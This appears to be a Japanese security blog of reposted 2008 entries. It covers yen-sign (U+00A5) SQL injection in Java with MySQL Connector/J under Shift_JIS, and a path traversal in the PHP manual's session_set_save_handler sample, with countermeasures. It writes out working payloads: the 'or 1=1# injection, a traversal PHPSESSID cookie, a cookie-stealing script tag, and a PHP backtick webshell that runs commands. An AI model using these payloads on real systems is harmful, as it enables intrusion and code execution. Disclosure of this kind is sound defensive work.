アプリケーションからデータベースのクエリ実行までのどこかで、Unicode以外の文字コード(典型的には、Shift_JISかEUC-JP)に変換されている
内部コードとしてUnicodeを用いる言語は現在では数多いが、筆者はJavaとPerl(use utf8;)を用いて検証した。その結果、JavaとMySQLの組み合わせの場合にSQLインジェクションが発生する場合があることを確認した

検証コードの説明

以下のような検証コードを用いてテストした。
import java.sql.*;
public class MyA5Injection {
  public static void main(String[] args) {
    try {
      String charEncoding = "sjis";    // or "utf8"
      Class.forName("com.mysql.jdbc.Driver");
      Connection con = DriverManager.getConnection(
        "jdbc:mysql://localhost/tokumaru?user=xxx&password=xxxx&useUnicode=true&characterEncoding=" + charEncoding);
      Statement stmt = con.createStatement();

      String param = "\u00a5'or 1=1#";

      // MySQL用のエスケープ
      String e_param = param.replaceAll("\\\\", "\\\\\\\\");    // \ → \\
      e_param = e_param.replaceAll("'", "\\\\'");               // ' → \'

      String sql = "SELECT * FROM test WHERE name='" + e_param + "'";
      System.out.println("sql = " + sql);
      ResultSet rs = stmt.executeQuery(sql);
      while(rs.next()){
        int id = rs.getInt("id");
        String name = rs.getString("name");
        System.err.println(id + " " + name);
      }
      stmt.close();
      con.close();
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}
}

実行結果は以下の通り
C:\HOME\Java>java MyA5Injection
sql = SELECT * FROM test WHERE name='\\'or 1=1#'
~ 検索結果の表示 ~

テスト結果

U+00A5を用いたSQLインジェクションは、JDBCのgetConnectionメソッドに指定するオプションパラメータcharacterEncodingに依存するようだ。このパラメタがUTF-8の場合はSQLインジェクションは発生しない。一方、Shift_JISやEUC-JPの場合はSQLインジェクションが発生する。create tableのdefault charset設定には依存しないようだ。これらを下表にまとめた。


UTF-8のテーブル Shift_JISのテーブル
characterEncoding=utf8 正常処理 エラー(*1)
characterEncoding=sjis SQLインジェクション SQLインジェクション
検証に用いた環境
MySQL 5.0 および 5.1
MySQL Connector/J 5.1.7
JDK6 Update11
Windows XP Professional 

(*1) java.sql.SQLException: Illegal mix of collations (sjis_japanese_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation '='

現実的に脆弱となる組み合わせはどの程度使用されているか

現実にSQLインジェクションが発生するは、JavaとMySQLの組み合わせすべではなく、characterEncodingの指定が明示的あるいは暗黙にutf8以外の値になっている場合と考えられる。筆者が試した範囲では、MySQLのコンフィグレーション・ウィザードで「Best Support for Multilingualism MySQL」を指定した場合にはUTF-8が利用されるが、それ以外の場合はlatin1、あるいはユーザが指定した文字エンコーディング(Shift_JISなど)が設定される。また、GoogleでgetConnectionを検索すると、characterEncoding=sjisと記述した例が多数ヒットしている。そのような状況では、characterEncodingとしてUTF-8以外が指定されている比率は割合に多いのではないかと予想する。

その他の言語とDBの組み合わせの場合はどうか

筆者が他の組み合わせで試した範囲では、Java+PostgreSQLやPerl+MySQLではSQLインジェクションにはならなかった。Java+PostgreSQLの場合はエラーになり、Perlの場合はU+00A5が「?」に変換されるようで、やはりSQLインジェクションにはならなかった。しかし、筆者が試したものと別の条件ではSQLインジェクションが発生する可能性はゼロではない。

対策

はせがわようすけ氏の講演資料には以下のような対策が推奨されている
  • Unicodeのまま文字列を扱い、変換しない
  • (変換するとしても)検査後には変換しない
SQLインジェクション対策としても「変換しない」というガイドラインは有効である。すなわち、以下を推奨する。
  • characterEncoding=utf8を明示する(必須)
  • create tableの際のdefault charsetにもutf8を設定する(推奨)

追記(2008/12/22 14:00)

金床氏から「例のコードがPreparedStatementじゃないのは何故だろう」という指摘を受けた。原理を示すためにはエスケープの方が分かりやすいと思ったからだが、PreparedStatementでも試してみた。主なコードの変更点は以下の通り(エスケープ処理は必要なくなる)。
String sql = "SELECT * FROM test where name=?";
PreparedStatement stmt = con.prepareStatement(sql);
stmt.setString(1, param);
ResultSet rs = stmt.executeQuery();
結果は、エスケープの時とまったく同じであった。MySQL 5.1でも直っていない…というか、これは仕様かもしれない。やはり、文字エンコーディングはアプリからDBまでそろえよう。

追記(2008/12/24 00:00)

へぼへぼCTO日記さんからトラックバックを頂戴した。Connector/JでサーバーサイドのpreparedStatementを使用するには、オプションuseServerPrepStmts=trueを指定しなければならないとのこと。手元の環境でテストしたところ、同オプションを指定したところU+00A5によるSQLインジェクションは再現しなくなった。ご指摘ありがとうございます。

追記(2009/07/17 14:00)

SH2さんのブログによると、MySQL Connector/J 5.1.8にてこの問題は修正されたようです。ありがとうございました。

2008年8月19日火曜日

session_set_save_handlerのパストラバーサルで任意コマンドの実行が可能

補足

この記事は旧徳丸浩の日記からの転載です。元URLアーカイブはてなブックマーク1はてなブックマーク2
備忘のため転載いたしますが、この記事は2008年8月19日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり

昨日の日記(session_set_save_handlerリファレンスマニュアルのサンプルにパス・トラバーサル脆弱性)で、PHPの公式リファレンスマニュアルに出ているsession_set_save_handlerサンプルにはパストラバーサル脆弱性があることを報告しましたが、その影響度について書き漏らしていて、影響度を過小に受け取られることに気がつきましたので補足します。

このパストラバーサルは情報漏えいよりは書き込み・破壊の影響の方が現実的というのはその通りなのですが、Web公開領域のファイルを書き換えられるというリスクを報告していなかった。ここで、HTMLやJavaScript、PHPスクリプトを書き込み、実行できるという問題があります。

以下のコード(a.php)で検証してみました。

// session_set_save_handlerのサンプルコード
// 以下は呼び出し部分
session_set_save_handler("open", "close", "read", "write", "destroy", "gc");
session_start();

$_SESSION['a'] = $_GET['a'];
echo "<body>done<body>";
?>
ご覧のように、クエリストリングaの値をそのままセッションに保存しています。非常に単純化していますが、現実のWebアプリケーションを極小化したモデルです。

ここで、Cookie PHPSESSIDの値を以下のようにセットします。b.phpの部分は、このサーバー上に存在するファイル名を指定します。
PHPSESSID=/../../../../../var/www/html/php/b.php
この状態で、以下のURLでa.phpを起動します。
http://host-name/php/a.php?a=<script>alert(document.cookie);</script>
セッションデータはb.phpとして格納され、内容は以下のようになります。
a|s:40:"<script>alert(document.cookie);</script>";
すなわち、今後b.phpにアクセスしたユーザは、ブラウザ上でJavaScriptが起動されることになります。

同様にして、PHPのスクリプトを書き込むこともできます。例えば、以下のようにa.phpを呼び出します。
http://host-name/php/a.php?a=<%3Fphp+echo`find`;%3F>
%3Fは、「?」を表します。すなわち、PHPスクリプト中で、バッククォートによりfindコマンドを実行するスクリプトが書き込まれたことになります。攻撃者はこのb.phpにアクセスすることにより、findコマンドを実行でき、同様にして、ターゲットのwebサーバー上で任意のコマンドを実行できることになります。

このように、書き込み可能なパストラバーサルは極めて危険な脆弱性であり、該当するアプリケーションは直ちに対策をとることをお勧めします。

2008年8月18日月曜日

session_set_save_handlerリファレンスマニュアルのサンプルにパス・トラバーサル脆弱性

補足

この記事は旧徳丸浩の日記からの転載です。元URLアーカイブはてなブックマーク1はてなブックマーク2
備忘のため転載いたしますが、この記事は2008年08月18日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり

PHPのsession_set_save_handlerのリファレンスを眺めていて、ふと、これはパス・トラバーサルの脆弱性があるのではないかと思いました。

function read($id)
{
  global $sess_save_path;

  $sess_file = "$sess_save_path/sess_$id";       // ← ファイル名の組み立て
  return (string) @file_get_contents($sess_file);
}

function write($id, $sess_data)
{
  global $sess_save_path;

  $sess_file = "$sess_save_path/sess_$id";       // ← ファイル名の組み立て
  if ($fp = @fopen($sess_file, "w")) {
    $return = fwrite($fp, $sess_data);
...
session_set_save_handler("open", "close", "read", "write", "destroy", "gc");
...
ここで、readはセッションデータを読み出す関数、writeはセッション値を保存する関数で、session_set_save_handlerでセットしておくものです。コメントで「ファイル名の組み立て」と示している部分でファイル名をセットしていますが、変数$idの値(セッションID)の値が未検証のまま使われています。

問題は、PHP処理系にてセッションIDの値がどの程度チェックされるかです。よく知られているように、PHPにはSession Adoptionの問題があり、素のままの状態では外部からCookie PHPSESSIDにより指定されたセッションIDをそのまま受け入れます。私が色々な文字で試した範囲では、「<」、「>」、「'」、「"」に関してはチェックが行われており、これらの文字がPHPSESSIDに含まれていた場合には、セッションIDの再設定が行われました。一方、それ以外の文字、とくに「/」、「.」、「\」などは特にチェックされないまま素通ししてしまうので、パストラバーサルの脆弱性となります。

このサンプルを流用しているようなケース、あるいは類似の処理を行っている場合(session_set_save_handlerにて、ファイルによるセッションデータ保存を行っている場合)には、この問題の影響を受けます。

この問題の影響範囲ですが、情報漏えいの可能性は低いと考えられます。パス・トラバーサルの技法で任意のファイル名を指定することは可能ですが、たまたまPHPのセッション保存形式と適合する形式のファイルでなければ、読み出しは行われないからです。そのようなファイルがたまたまWebサーバー上に存在し、かつそのファイル名が類推できる場合に限られますが、そのようなケースは想定しにくいと考えます。

一方、ファイルの破壊(書き込み)については、権限さえあれば任意のファイルを指定して破壊できるので、ある程度の影響が考えられます。UNIX系のOS上でPHP(Apache)を実行するユーザの権限で書き込みが可能なファイルは一般的には限定されますが、権限設定がゆるい場合には影響を受けます。Windows上でPHPが稼動している場合には、影響はもう少し広いと考えられます。

対策について。Webアプリケーション側でこの問題に対応するには、さしあたっては、セッションIDの妥当性確認を行えばよいと思います。セッションIDが英数字のみで構成されているか、あるいは16進文字列として妥当であるかをチェックすれば、パストラバーサルは防げます。

また、この問題はPHPがSession Adoptionの問題があることに起因していますから、Strict Sessin Patchを適用すれば、上記問題も解消されると思います。しかし、その場合でも、防衛的意味でパス・トラバーサル対策としての文字種チェックはしておくべきでしょう。

session_set_save_handlerを使わない状態のPHPでは、パス・トラバーサルの問題は起きないようです。前述の中途半端な文字種チェックといい、session_set_save_handlerを使う場合と使わない場合の挙動の違いといい、ちょっと「イラっ」と来たことを告白します。

なお、この問題を一応脆弱性情報としてIPAに届出ましたが、独立したソフトウェア製品ではないという理由で不受理となりましたので、ここに公開し、PHPの開発者に注意を喚起するものです。

Windows上のPHP 5.2.6およびCentOS 5.2上のPHP 5.1.6で検証しました。

続く(session_set_save_handlerのパストラバーサルで任意コマンドの実行が可能)

フォロワー

ブログ アーカイブ